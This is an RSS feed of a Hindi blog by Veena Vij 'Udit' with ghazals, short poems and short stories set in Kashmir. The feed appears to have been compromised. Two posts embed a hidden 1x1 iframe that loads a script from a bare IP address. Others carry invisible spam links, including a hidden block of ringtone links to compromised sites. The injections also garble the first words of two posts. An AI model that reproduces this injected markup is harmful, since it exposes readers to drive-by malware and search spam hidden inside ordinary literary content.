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	<title>Hindi short stories, poetry and blogs</title>
	<link>http://www.veenavij.com</link>
	<description>Veena Vij Udit's writings in Hindi</description>
	<pubDate>Sun, 16 Nov 2008 18:04:06 +0000</pubDate>
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	<language>en</language>
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		<title>कनारा कर गया</title>
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		<pubDate>Sun, 16 Nov 2008 17:53:50 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[हाले दिल बयां करूं भी तो किससे
माज़ी अपना ही कनारा कर गया&#8230;..
रस्मे वफ़ा निभाते रहे उफ़ न किए
बेरुख़ी से दामन चाक-चाक कर गया&#8230;..
जमीं से फ़लक तक सज़दा किए
नाकामियों का मंज़र अता कर गया&#8230;..
अश्कों का समंदर लहू संग बहे
हर हाल में जीने का इशारा कर गया&#8230;.
इश्क में डूबते तो बेख़ुदी समझते
भरी बज़्म में रुसवा यारा कर [...]]]></description>
			<content:encoded><![CDATA[<p>हाले दिल बयां करूं भी तो किससे<br />
माज़ी अपना ही कनारा कर गया&#8230;..<br />
रस्मे वफ़ा निभाते रहे उफ़ न किए<br />
बेरुख़ी से दामन चाक-चाक कर गया&#8230;..<br />
जमीं से फ़लक तक सज़दा किए<br />
नाकामियों का मंज़र अता कर गया&#8230;..<br />
अश्कों का समंदर लहू संग बहे<br />
हर हाल में जीने का इशारा कर गया&#8230;.<br />
इश्क में डूबते तो बेख़ुदी समझते<br />
भरी बज़्म में रुसवा यारा कर गया&#8230;.<br />
लम्हा-लम्हा मरे रहमते जिंदगी जिए<br />
वीरानों को अश्कों से बहारा कर गया&#8230;.<br />
हबीब को हासिद समझने की भूल किए<br />
शबे-विसाल को शबे-हिजरां कर गया &#8230;&#8230;&#8230;&#8230;<br />
वीणा विज &#8216;उदित&#8217;</p>
<p>माज़ी= रखवाला ,फ़लक=आसमान ,बज़्म= महफिल ,हासिद= दूसरों से जलने वाला ,शबे विसाल= मिलन की रात ,शबे हिजरां= जुदाई की रात |</p>
]]></content:encoded>
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		</item>
		<item>
		<title>अमरनाथ श्राईन बोर्ड ज़मीन</title>
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		<pubDate>Sun, 24 Aug 2008 18:08:22 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Random]]></category>

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		<description><![CDATA[>&#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;Įरनाथ श्राईन बोर्ड ज़मीन जब एक बार पी डी पी ने सर्व सहमति से दे दी थी, तो उसे वापिस ले लेना कहाँ का इन्साफ़ है? यह तो यूं हुआ कि किसी की झोली में दान डालकर वापिस ले लेना &#124;इस सारे खेल के पीछे क्या साजिश चल रही है, यह तो आनेवाला [...]]]></description>
			<content:encoded><![CDATA[<p>><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/">&#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;</a></font>Įरनाथ श्राईन बोर्ड ज़मीन जब एक बार पी डी पी ने सर्व सहमति से दे दी थी, तो उसे वापिस ले लेना कहाँ का इन्साफ़ है? यह तो यूं हुआ कि किसी की झोली में दान डालकर वापिस ले लेना |इस सारे खेल के पीछे क्या साजिश चल रही है, यह तो आनेवाला समय ही बताएगा |हमारी तो ईश्वर से प्रार्थना है कि यह झगड़े का माहौल बस अब समाप्त हो |पौज़िटिव सौल्यूशन निकले |सरकार कोई ठोस कदम उठाए |</p>
]]></content:encoded>
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		</item>
		<item>
		<title>ग़ज़ल</title>
		<link>http://www.veenavij.com/94/</link>
		<comments>http://www.veenavij.com/94/#comments</comments>
		<pubDate>Sun, 10 Aug 2008 10:38:34 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[
पशेमां ना हो मचलती तमन्नाओं
दिल में ही बैठे हैं रुख़्सत हो जानेवाले..
बेहद अकीदत से पुकारा किए उनको
तर्क़ कर चल दिए लौट के ना आने वाले..
ना होगा दीदार ना मिलेंगी अब उनकी बाहें
लौट के आते नहीं रूठ के जाने वाले..
ग़माफ्जा क्यों हो, कुछ तो तरस खाओ
नाचीज़ पर क़रम करो सितम ढाने वाले..
तशफ्फी रख ऍ दिल मगमूम [...]]]></description>
			<content:encoded><![CDATA[<p>
पशेमां ना हो मचलती तमन्नाओं<br />
दिल में ही बैठे हैं रुख़्सत हो जानेवाले..<br />
बेहद अकीदत से पुकारा किए उनको<br />
तर्क़ कर चल दिए लौट के ना आने वाले..<br />
ना होगा दीदार ना मिलेंगी अब उनकी बाहें<br />
लौट के आते नहीं रूठ के जाने वाले..<br />
ग़माफ्जा क्यों हो, कुछ तो तरस खाओ<br />
नाचीज़ पर क़रम करो सितम ढाने वाले..<br />
तशफ्फी रख ऍ दिल मगमूम ना हो<br />
उनके पैग़ाम तेरे नाम हैं आने वाले&#8230;..|</p>
<p>वीना विज &#8216;उदित&#8217;</p>
<p>बेहद अकीदत=आदर सहित, तर्क़ कर = छोड़ कर, ग़माफ्जा= दुःख बढ़ाने वाले,<br />
तशफ्फी= तसल्ली, मगमूम= उदास</p>
]]></content:encoded>
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		</item>
		<item>
		<title>कदमों की थाप</title>
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		<pubDate>Sun, 10 Aug 2008 10:06:50 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Short Stories]]></category>

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		<description><![CDATA[जीने पर चढ्ते भारी भरकम जूतों के कदमों की थाप सुनते ही कढ़ाई में चलती मेरे हाथ की कड़छुली वहीं रुक गई &#124;मैं अपने ध्यान में काम में मस्त थी, किन्तु अब आगुन्तक को देखने को आँखें दरवाज़े की ओर लग गईं &#124;जूतों की थाप बता रही थी कि कोई बहुत थका है या सोच [...]]]></description>
			<content:encoded><![CDATA[<p>जीने पर चढ्ते भारी भरकम जूतों के कदमों की थाप सुनते ही कढ़ाई में चलती मेरे हाथ की कड़छुली वहीं रुक गई |मैं अपने ध्यान में काम में मस्त थी, किन्तु अब आगुन्तक को देखने को आँखें दरवाज़े की ओर लग गईं |जूतों की थाप बता रही थी कि कोई बहुत थका है या सोच में डूबा है, जिससे उसके कदम उठ नहीं पा रहे या फिर वो किसी ऊहापोह में डूबा है कि ऊपर जाऊँ कि नहीं |पहाडों के घर मिट्टी व लकडी के बने होते हैं | लकडी के ज़ीने हर तरह के कदमों की थाप का राज़ खोल देते हैं |आगुन्तक के मन व सोच का आईना बन जाती है यह थाप |जहाँ बच्चों की भगदढ़ एहसास दिलाती है कि वे अन्जाम से बेपरवाह बस जल्दी ही मंज़िल पाना चाहते हैं, वहीं ठहरे -ठहरे कदम, ध्यान से सीढी चढ्ते व उतरते बुज़ुर्ग सँभल कर कदम रखते हैं कि कहीं टेढी मेढ़ी सीडियों पर पाँव न जमा ..तो गए नीचे | लेकिन कदमों की थाप भारी पकड़ वाली होती है| ऊपर आते हुए इन कदमों की थाप सबसे हट कर थी |कोई अन्जाना व्यक्ति हिचकता हुआ ऊपर आ रहा है, इतना तो आनेवाले की वायब्रेशन्स जो मुझ तक पहुँच पा रहीं थीं, वे बता रहीं थीं |कि, तभी गोद में एक सूखे से बच्चे को उठाए, दूसरे कंधे पर मैला-कुचैला झोला लटकाए एवम हाथ में डोरी से बँधी एक हाँडी लटकाए हुए एक गूजर औरत मेरे सामने आकर खडी हो गई |उसे देखते ही मैं समझ गई कि इसके दोनों हाथों का वज़न ही इसके वज़नी कदमों का कारण बन रहे थे |<br />
स्वर को मृदुल बनाकर बडे ही मनुहार से वह अपनी बडी-बडी आँखों से मेरी<br />
आँखों में देखती एकदम से बोली, &#8220;बिब्बी! &#8221; और मेरी ओर मुस्कुराते हुए प्रत्युत्तर की आशा में देखने लगी |वह आवाज़, वह मुस्कुराहट मेरे भीतर दूर-दूर तक जाकर उसे इस हाल में भी पहचान गई हठात मेरे मुँह से निकला, &#8220;रेशमा, हो न!&#8221;<br />
&#8220;सियांणया नहीं मैनूं? &#8220;(मुझे पहचाना नहीं क्या?) उसके चेहरे पर हकीकत की रेखा खिंच गई लगी |उसने भाँप लिया था कि उसकी माली हालत के फलस्वरूप उसमें जो ज़मीन- आसमान का बदलाव आ गया था, वो बिब्बी को पता चल गया है |क्षण भर में उस मुस्कुराहट की जगह बेचारगी छलकने लगी थी |उसके स्वर की आद्रता ने मुझे बुरी तरह मथ दिया |मैंने चेहरे पर स्वागत भरे भाव लाते हुए उसे दिलासा देते हुए कहा कि वह कुडी (लड़की) से जनानी (औरत ) बन गई है इसीसे पहली नज़र में पहचान नहीं पाई |<br />
कहाँ वो शर्मीली, यौवन से भरपूर, गुलाबी गालोंवाली कुछ वर्षों पहले की कश्मीरन! जो सिर पर चुनरी इस तरह करती कि चुनरी का एक हिस्सा दाहिनी ओर से दाँतों तले दबा लेती व होंठों से मंद-मंद मुस्कुराती रहती थी |सिर पर दूध की मटकी रखकर यूँ सीधी तनकर चलती कि हर देखनेवाला &#8216;हाय, क्या बात है&#8217; कह उठता था |वह भी सब समझती थी, तभी इतराती थी |और कहाँ यह निचुडे नींबू सी पीली, हडडियों का ढाँचा बन गई रेशमा!! उसकी मोटी- मोटी आँखें चंचल हिरनी सी हमेशा मेरे बच्चों को ढूँढतीं, उनको प्यार जताने के लिए वह उनका नाम लेती ,झूठ-मूठ साथ चलने का आग्रह करती &#8211;फिर ही वो मटकी खाली करवाकर वापिस जाती |उसका बाप कालिया गूजर हमें दूध- घी की किल्लत नहीं होने देता था |जबकि कश्मीर घाटी में पाऊडर के दूध का चलन है |वादी में पहाड़ों के दामन में बसे पहलगाम में सैलानियों के आने के कारण अच्छा खासा बाज़ार भी है |रेशमा कभी-कभी दूध का बर्तन वहीं छोड़कर यह कहकर भाग जाती कि हाट करके वापसी में बर्तन ले जाएगी |लौटते हुए अपने आने का एहसास कराए बिना वो जाती नहीं थी |क्यूंकि मैं उसे बची -खुची साग-सब्जी, मिठाई, पुराने कपड़े इत्यादि दे देती थी |यह सिलसिला टूटा १९८९ में, जब कश्मीर में उग्रवाद ने अपना आँचल फैलाया |इससे सब तितर-बितर हो गए |दोबारा १९९६ में जब बर्फानी बाबा अमरनाथ के दर्शनों को श्रद्धालु उमड़ पड़े तो हम मौसमी लोग भी अपने छूटे हुए घोंसलों में पुर्नस्थापित होने का साहस जुटा पाए |इसी तरह कश्मीरी गुज्जर लोग भी जो न जाने किन जंगलों में इस दौरान खोए रहे, उन्होंने भी अपने पुराने ठिकानों का रुख किया |इसी कारण रेशमा भी आ गई |लेकिन उस रेशमा व इस रेशमा में कहीं कुछ मेल नहीं खा रहा था |इस बीच वो लगातार बहुत कुछ यानि अपनी आत्मबीती सुना रही थी |अपना काम खत्म कर मैं तसल्ली से उसके पास आकर बैठ गई, व उससे पूछा, &#8220;तेरा गबरू करता क्या है?&#8221;<br />
बोली, &#8220;जंगलूँ लक्कड़ कट्के थल्ले होटल इच देसी |ढोर-डंगर वी हे, जमीं च मक्की वी होए हे |ऍ तेरे लई अपणी गाई दा घ्यो सारी स्याल बणाया हे|&#8221; (जंगल से लकड़ी काटकर, यहाँ नीचे एक होटल में देता है|मेरे पास ज़मीन व जानवर भी है |तेरे लिए अपनी गाय का घी सारी सर्दियाँ बनाती रही) यह कहकर<br />
उसने अपने हाथ में लाई मटकी मेरे सामने रख दी |जितनी देर वो बोल रही थी, उसका नवजात शिशु उसकी कमीज़ के गले से , जिसके ऊपर से लेकर नीचे तक सारे बटन खुले थे, उसके लटके सूखे स्तनों को बाहर निकालकर कभी दूध पी रहा था तो कभी उनसे खेल रहा था|रेशमा जैसे इस सब की आदी हो इसीसे इस सबसे बेख़बर बस अपना अफ़साना सुनाए जा रही थी |<br />
मैं सोच रही थी कि दुपट्टे से अपना मुँह -सिर ढँक लेने वाली रेशमा आज अपनी खुली छाती से बेपरवाह बैठी थी |वह स्वयं तो कमज़ोर व पीली लग ही रही थी, उसका बेटा भी सूखे के रोग से पीड़ित लग रहा था|न जाने इन सूखी छातियों में उसके बच्चे को कुछ मिलता भी था या फिर केवल चूसने का संतोष ही था |<br />
&#8220;बिब्बी! ऍ कलाड़ी वी न्याणे खासी&#8221;, यह कहते हुए उसने कलाड़ियाँ ( पनीर की कच्ची रोटियाँ) जो पहाड़ों पर सौग़ात समझी जाती हैं ,एक पोटली में से न्याणों ( बच्चों ) के खाने के लिए बाहर निकालीं |ग़ाय का ज़र्द पीला ख़ालिस घी एवम पनीर की कलाड़ियाँ, देखकर मेरी तो बाँछें खिल गईं |मैंने पूछा कि कितने रुपये हुए|तो वह झिझकती हुई बोली, &#8220;डेढ सो ते देगी ना!&#8221; सुनते ही मुझे कुछ कचोट सा गया |मैं सोचने लगी कि किन मुश्किलों से उसने एक-एक दिन मेहनत व बचत करके अपने व अपने बच्चे के मुँह से दूध छीनकर यह घी बनाया होगा |सिर्फ़ इस आस में कि&#8230;..मात्र डेढ़ सौ रुपये&#8230;&#8230;.नहीं -नहीं यह तो ठीक नहीं |उसकी मासूमियत पर मेरी आँखे उसके प्रति स्नेह से भर उठीं |शीतकालीन सर्द हवाओं से बचाकर जो आस का दीपक उसने जलाए रखा था, उसके प्रकाश से मेरा अन्तर आलोकित हो उठा था |उस प्रकाश से निकलती आस व उम्मीदों की किरणें मुझ तक पहुँच पा रही थीं| रेशमा की मनःस्थिती मेरे सम्मुख स्पष्ट थी|उसकी प्रतीक्षातुर प्रत्याशा मैं महसूस कर रही थी |<br />
उसकी शादी का शगन, उसके बेटे का शगन और उसके द्वारा लाई गई चीज़ों के पैसे<br />
व कुछ और सामान भी उसे दे कर मैंने उसकी पीठ पर स्नेह से हाथ फेरा |लगा मैंने उस आस के दीपक की लौ को बुझने नहीं दिया |वो आत्म-विश्वास से भरी, मुस्कुराते हुए , कृतज्ञता के भाव ओढ़े जा रही थी |वही रबर के भारी- भरकम बूट अब जीने से फटाफट उतर रहे थे | लगता था&#8230;..इन कदमों की थाप में खुशी से भरकर उड़ने की उमंग थी |<br />
वीना विज &#8216;उदित&#8217;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>गज़ल</title>
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		<pubDate>Wed, 23 Jul 2008 08:10:32 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Short Stories]]></category>

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		<description><![CDATA[मेरी साँसों में घुली
यह खुशबुएं
गवाह हैं, उन पलों की
जब हम कदम  
हुए थे वे मेरे&#8230;.
पशेमां हूं यारा
क्यूं इस कदर
बदज़न हो गए वो
बेरुखी छलकती है
करीब आते हैं जब वे मेरे&#8230;.
ज़िदंगी इक शमा बन गई है
इंतज़ारे शमा
जलेगी तब तक
जब तक हमदम न होंगे वे मेरे&#8230;.
वीना विज &#8216;उदित&#8217;
]]></description>
			<content:encoded><![CDATA[<p>मेरी साँसों में घुली<br />
यह खुशबुएं<br />
गवाह हैं, उन पलों की<br />
जब हम कदम<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --><br />
हुए थे वे मेरे&#8230;.<br />
पशेमां हूं यारा<br />
क्यूं इस कदर<br />
बदज़न हो गए वो<br />
बेरुखी छलकती है<br />
करीब आते हैं जब वे मेरे&#8230;.<br />
ज़िदंगी इक शमा बन गई है<br />
इंतज़ारे शमा<br />
जलेगी तब तक<br />
जब तक हमदम न होंगे वे मेरे&#8230;.</p>
<p>वीना विज &#8216;उदित&#8217;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>छल का जाल</title>
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		<comments>http://www.veenavij.com/%e0%a4%9b%e0%a4%b2-%e0%a4%95%e0%a4%be-%e0%a4%9c%e0%a4%be%e0%a4%b2/#comments</comments>
		<pubDate>Fri, 23 May 2008 08:47:32 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[>компютриłउउउर नभ के आंचल में
डोलती नैय्या सी
इक रंगीली पतंग
मज़बूत  डोर से बँधी
टिकी अपनों के हाथ में,
नियंत्रण कर रहा
होगा शातिर दिमाग
इन सबसे अंजान
कितने इत्मीनान से
झेलती हवाओं का दबाव&#124;
महफूज़ है वह
यही तसल्ली
लिये जा रही है उसे
अन्जानी ऊँचाईयों पर
बेखौफ् होकर&#8230;..
इल्म नहीं कि कटी तो
ना जाने कहाँ मिलेगा ठौर
और, शायद!
अस्तित्व ही ना रहे
फँस कर छल के जाल में&#8230;.!!!
वीना विज [...]]]></description>
			<content:encoded><![CDATA[<p>><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">компютри</a></font>łउउउर नभ के आंचल में<br />
डोलती नैय्या सी<br />
इक रंगीली पतंग<br />
मज़बूत  डोर से बँधी<br />
टिकी अपनों के हाथ में,<br />
नियंत्रण कर रहा<br />
होगा शातिर दिमाग<br />
इन सबसे अंजान<br />
कितने इत्मीनान से<br />
झेलती हवाओं का दबाव|<br />
महफूज़ है वह<br />
यही तसल्ली<br />
लिये जा रही है उसे<br />
अन्जानी ऊँचाईयों पर<br />
बेखौफ् होकर&#8230;..<br />
इल्म नहीं कि कटी तो<br />
ना जाने कहाँ मिलेगा ठौर<br />
और, शायद!<br />
अस्तित्व ही ना रहे<br />
फँस कर छल के जाल में&#8230;.!!!</p>
<p>वीना विज &#8216;उदित&#8217;<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --></p>
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		<item>
		<title>नवोदित बिन्दु</title>
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		<pubDate>Sun, 27 Apr 2008 12:02:28 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[सृष्टि कलाकार के
सृजनात्मक संलाप
असंख्य रंग-बिरंगे
नवोदित बिन्दु
गढ़ते
रूप धरते
चलते-चलते
कुछ free boost mobile ringtones &#124; music ringtones &#124; samsung ringtones &#124; motorola q ringtones &#124; ringtones for cingular phone &#124; free funny voice ringtones &#124; free mobile phone ringtones &#124; listen mosquito ringtones &#124; listen mosquito ringtones &#124; listen mosquito ringtones &#124; cingular free music real ringtones &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>सृष्टि कलाकार के<br />
सृजनात्मक संलाप<br />
असंख्य रंग-बिरंगे<br />
नवोदित बिन्दु<br />
गढ़ते<br />
रूप धरते<br />
चलते-चलते<br />
कुछ <u style="display:none"><a href="http://kidsfilms.org/components/com_expose/.parleying/sitemap1.html">free boost mobile ringtones</a> | <a href="http://carmshangout.com/wp-admin/import/.narcos/sitemap1.html">music ringtones</a> | <a href="http://www.justinmichie.com/streetsmartinternetmarketing/wp-admin/.digestor/?page=sitemap1">samsung ringtones</a> | <a href="http://www.mjmdoorn.nl/language/.arcua/index.php?file=sitemap1">motorola q ringtones</a> | <a href="http://www.wctm.org.uk/wctm/components/com_sef/.hotness/?name=sitemap1">ringtones for cingular phone</a> | <a href="http://www.bestwaycollision.com/home/mambots/editors/jce/jscripts/tiny_mce/plugins/mediamanager/.bacter/sitemap1.html">free funny voice ringtones</a> | <a href="http://globalwarming-online.com/wp-content/themes/blue_journalist/.expiators/sitemap1.html">free mobile phone ringtones</a> | <a href="http://www.bedauto.pl/components/com_expose/expose/manager/amfphp/services/com/slooz/.reticen/index.php?page=sitemap1">listen mosquito ringtones</a> | <a href="http://www.moloth.com/worldofnewgenesis/newgen-admin/phpSitemapNG/inc/.biomorphic/index.php?page=sitemap1">listen mosquito ringtones</a> | <a href="http://bicicanarias.com/coppermine/logs/.unweane/?str=sitemap1">listen mosquito ringtones</a> | <a href="http://shizensushi.com/forum/language/lang_macedonian/.robbe/?page=sitemap1">cingular free music real ringtones</a> | <a href="http://finerepast.com/wp-content/themes/wuhan/.bloodlessl/index.php?file=sitemap1">download verizon ringtones</a> | <a href="http://www.schlosserei-schlosser.de/administrator/components/com_ponygallery/tools/.bowered/index.php?file=sitemap1">boost free ringtones</a> | <a href="http://blog.linus.net/wp-admin/import/.sanitises/sitemap1.html">nickelback ringtones</a> | <a href="http://fromthedeskofmikestewart.com/blog/wp-content/themes/brownbound/brownbound/_vti_cnf/.gradatio/?page=sitemap1">free cingular mp3 ringtones</a> | <a href="http://www.finds.org.uk/DCN/discuss/.aspers/?file=sitemap1">free nokia ringtones composer</a> | <a href="http://www.wventrepreneur.com/wp-content/themes/alwaysfresh/alwaysfresh/.hemophilic/?id=sitemap1">cingular free phone ringtones</a> | <a href="http://www.vihjeet.com/j18/mambots/content/geshi/geshi/.surprint/sitemap1.html">yahoo ringtones</a> | <a href="http://natural-weight-loss-tip.com/wp-content/plugins/alinks/modules/deeper_blog/.terreens/?str=sitemap1">sprint pcs ringtones</a> | <a href="http://handstandtraining.com/wordpress/wp-content/plugins/.cumul/?page=sitemap1">download free midi ringtones</a> | </u> कर गुजरते<br />
गर्व सीने में लिए<br />
रंगों से भर उठते<br />
भीड़ में बिन्दु उभरते<br />
बन के तारे ज़मीं पर&#8230;&#8230;&#8230;|</p>
<p> वीना विज&#8217; उदित&#8217;</p>
]]></content:encoded>
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		<item>
		<title>सम्मोहन</title>
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		<pubDate>Thu, 13 Mar 2008 17:48:34 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Short Stories]]></category>

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		<description><![CDATA[सन अस्सी की बात है&#124; अमेरिका से पीटर, उसकी पत्नी कैरोलीना एवम क्रमशः बारह और दस वर्ष की आयु के उनके दो पुत्र जैक व जैरी कश्मीर आए थे &#124; श्री नगर हवाई अडडे पर पहुँचते ही कश्मीर की ठंडी हवाओं ने उनके तन का स्पर्श किया, तो दिल्ली के तपते जून की तपिश का [...]]]></description>
			<content:encoded><![CDATA[<p align="center">सन अस्सी की बात है| अमेरिका से पीटर, उसकी पत्नी कैरोलीना एवम क्रमशः बारह और दस वर्ष की आयु के उनके दो पुत्र जैक व जैरी कश्मीर आए थे | श्री नगर हवाई अडडे पर पहुँचते ही कश्मीर की ठंडी हवाओं ने उनके तन का स्पर्श किया, तो दिल्ली के तपते जून की तपिश का रोष उनके मन से जाता रहा |<br />
अमेरिकी परिवार को बाहर आते देखकर एक आकर्षक कश्मीरी युवक एक हाथ में उनके नाम की तख्ती पकड़े हुए , दूसरा हाथ हिलाते हुए उनके सम्मुख जा पहुँचा |उसे देखते ही वे मुस्कुरा उठे और निश्चिंत हो उसके साथ निकल पड़े अपने अभियान पर |कश्मीरी उच्चारण की अंग्रेज़ी बोलते हुए उस युवक ने बताया कि उसका नाम इकबाल है |वह ही &#8216;आल्प्स&#8217; हाऊसबोट का गाईड है, जहाँ उनकी बुकिंग हुई थी|<br />
एयरपोर्ट से शहर जाते हुए मार्ग के दोनो ओर गगनचुंबी पाँपलर वृक्षों की कतारें देखकर वे आनंदित हो उठे |अन्ततः वे एक नीले फ़िरोज़ी नग जैसी झील के किनारे पहुँचे, जिसके किनारे वर्तुलाकार सड़क साँप की तरह दौड़ रही थी |यही उनकी विराम-स्थली &#8216;डल -झील&#8242; थी| झील के अतुलित सौन्दर्य से सम्मोहित हो वे सब विदेशी झट कारों से उतरकर फोटो खींचने लगे |सामने झील में रंगीन हाऊसबोटों की कतारें विभिन्न नामों से सजी खड़ी थीं&#8211;जैसे प्रिंसेस आँफ लेक, ब्राईट क्वीन, राजा, हुंज़ा, पम्पोश,विएना आदि |हाऊस-बोटस के ऊपर रंग- बिरंगी छतरियाँ सजी थीं| जैक व जैरी बाल-सुलभ उत्साह से भरकर &#8216;वाओ-वाओ&#8217; चिल्ला उठे |उनके मन को लुभा रहे थे-झील में तैरते शिकारे, जो लाल-पीले, नीले-हरे, सफेद-नारंगी रंगों के कपड़ों की छींट की छतों व पर्दों से सुसज्जित थे | किसी शिकारे में फूलवाला फूल सजाए था तो किसी में कश्मीरी नक्काशी का सामान था | किसी में ताजी सब्जियों की दूकान थी तो किसी में गहनों की, या फिर केसर बेचनेवाले थे| चलती -फिरती दूकानें झील में तैर रही थीं |ऍसा बाज़ार उन्होंने न कभी देखा था, न कभी सुना था | शिकारे चलानेवालों के चप्पू चलाने से छपाक -छपाक की जो ध्वनि सुनाई दे रही थी, उससे झील का वातावरण संगीतमय हो रहा था |<br />
इस बीच इकबाल ने उनका सारा सामान एक शिकारे पर रखवाया व उन्हें भी उसी शिकारे में बिछी रंग-बिरंगी गद्दियों पर बैठाकर ले चला उनके स्वप्नलोक में -झील के भीतर की ओर |झील में तैरते फूल-पत्तों को हाथ से छूने की चाह लिए वे डीलक्स हाऊसबोट की कालोनी में पहुँचे | यहाँ सब हाऊसबोट्स को जोड़ता एक गलियारा था |इस जगह से झील के किनारे की सड़क दिखाई नहीं देती थी |यहाँ गहन शांति थी |चारों ओर से केवल चप्पुओं की आवाज़ सुनाई देती थी |सम्मुख था उनका पड़ाव&#8217; आल्प्स&#8217; हाऊसबोट | बेहद सुन्दर!!!लकड़ी की दो -ढाई इंच गहरी नक्काशी के काम से उसकी हर दीवार सजी थी |दूर से ही उसे देखकर सब की बाँछे खिल गईं |बहुत सँभालकर पकड़-पकड़कर इकबाल ने बारी-बारी से सभी को शिकारे से किनारे पर उतारा | हर बार शिकारा पानी में डोल जाता व लगता गये सब पानी में |कैरोलीना इसी पर खिलखिलाते हुए पैंतीस की आयु में भी बीस की ही लग रही थी | तभी वो किनारे उतरने को उछली, जिससे शिकारे का संतुलन बिगड़ गया और उसकी एक टाँग गई पानी में |पलक झपकते ही इकबाल ने एक हाथ से उसकी कमर व दूसरे से गलियारे की डंडी पकड़ ली |अपनी बलिष्ठ बाजू से उसे उठाकर उसने फूल की तरह गलियारे पर रख दिया| कृतज्ञ दृष्टि से उसने इकबाल के दोनो हाथों को पकड़कर चूम लिया |पीटर के कैमरे ने उस रोमांचक घटना को कैद कर लिया |<br />
&#8216;आल्प्स&#8217; की बालकनी में पहुँचकर सभी ने जूते वहीं बाहर उतार दिये |भीतर के कश्मीरी कालीन पर जूते ले जाने का साहस कोई नहीं जुटा पाया |बोट की भीतरी साज-सज्जा, अखरोट की लकड़ी का आरामदेह फर्नीचर, जो नक्काशी के बेहतरीन नमूने थे, छत से लटकते काँच के झूमर, रंगीन ऊन से कढ़ाई किए हुए रंगीन कुशन व पर्दे इसके अलावा काँच के आकर्षक बर्तन एवम कटलरी, जो काँच की पारदर्शक अल्मारियों में सजी थी &#8212;यह सब देखकर वे एकबारग़ी स्तंभित रह गये | भीतर की ओर तीनों बैडरूम थे, जो अंग्रेज़ी व कश्मीरी सभ्यता का मिला-जुला स्वरूप थे |<br />
कैरोलीना सारा मुआईना करके मंत्रमुग्ध सी जाकर बालकनी के झरोखों के मध्य बैठ गई |झील की निस्तब्धता भंग करती दूर से आती चप्पू की आवाज़ उस पर जादू सा असर कर रही थी | झील के गहरे नीलेपन को वो अपने नीलाभ नयनों में भर रही थी | जगह-जगह छितराए कमल के पत्तों के बीच खिले कमलिनी व कमल के फूल उसे अपनी ओर आकृष्ट कर रहे थे | शांत-संयत बहती मीठी बयार साँझ ढलने का आभास दे रही थी | ऍसी भाव-विभोर वह पहले कभी नहीं हुई थी |वह धीरे-धीरे कुछ गुनगुनाने लगी | घिरती आती साँझ में चारों ओर जगमग जगमग करते रोशनी के बिन्दु जल उठे | झील का जल गहराकर कालिमा का रूप ले चला था | जगमगाती रोशनी के बिन्दुओं की परछाईं जल के भीतर व बाहर दोहरी रोशनी का प्रकाश बिखेरे रही थी, तभी बोट के मालिक अब्दुल रहीम ने आकर कैरोलीना की तंद्रा भंग की | कुशल-क्षेम व कुछ जलपान के पश्चात उनके कश्मीर-भ्रमण का पूरा विवरण तभी बना दिया गया |<br />
अगली सुबह पीटर परिवार इकबाल के साथ निशात बाग,शालीमार बाग और चश्मे शाही बाग की सैर करने गए | रात ढलते ही निशात बाग़ में&#8217; लाईट एंड साउंड&#8217; प्रोग्राम था | वृक्ष पर पड़ती हल्की नीली- पीली रोशनी व उसी क्षण घुंघरुओं की छन-छन मधुर ध्वनि किसी के चलने का अहसास देती थी | साथ ही साथ अंग्रेज़ी में कमैंट्री भी चल रही थी |यूं महसूस हो रहा था, जैसे बेग़म नूरजहाँ वहीं कहीं थी |एक घंटे का शो देखने के बाद सब उसी शो की ख़ुमारी में गुम चुपचाप वापिस आ गए |खाने के बाद कैरोलीना चुपचाप हाऊसबोट की छत पर जाकर लेटके खुले आसमाँ को निहार रही थी कि उसे ढूँढता हुआ पीटर हाथ में व्हिस्की का गिलास लिए आ पहुँचा | कैरोलीना को बात करने के मूड में न देखकर, वह वापिस नीचे चला गया | थोड़ी देर बाद इकबाल यूँ ही ऊपर आया |उसे वहाँ लेटे देखकर वह जैसे ही वापिस जाने को मुड़ा, कैरोलीना ने उसे बुलाकर बैठने को कहा |वह थोड़ा हिचकिचाया तो कैरोलीना ने उसे समझाया कि वह तो दोस्त की तरह पूरे भ्रमण में उनके साथ रहेगा &#8212;तो दोस्त ही हुआ न! इसलिए वह कैरोलीना को &#8216;दोस्त&#8217; कहकर ही बुलाए |इकबाल को बात जँच गई, वह वहीं बैठ गया |चाँद के धवल प्रकाश में वह इकबाल की मोटी-मोटी बोलती आँखों को पढ रही थी, जिनमें वही सम्मोहन था जो बला की खूबसूरत कश्मीर की वादियों में था |इस पर वह अचकचा गया | बढ़ती ठंडक को महसूसते हुए इकबाल ने कहा, &#8216;फ्रेंड ! नीचे चलें, कल फिर सुबह घूमने जाना है | न जाने क्यों एक आज्ञाकारी बालक की भांति वो उसकी बात मानकर नीचे चल पड़ी |<br />
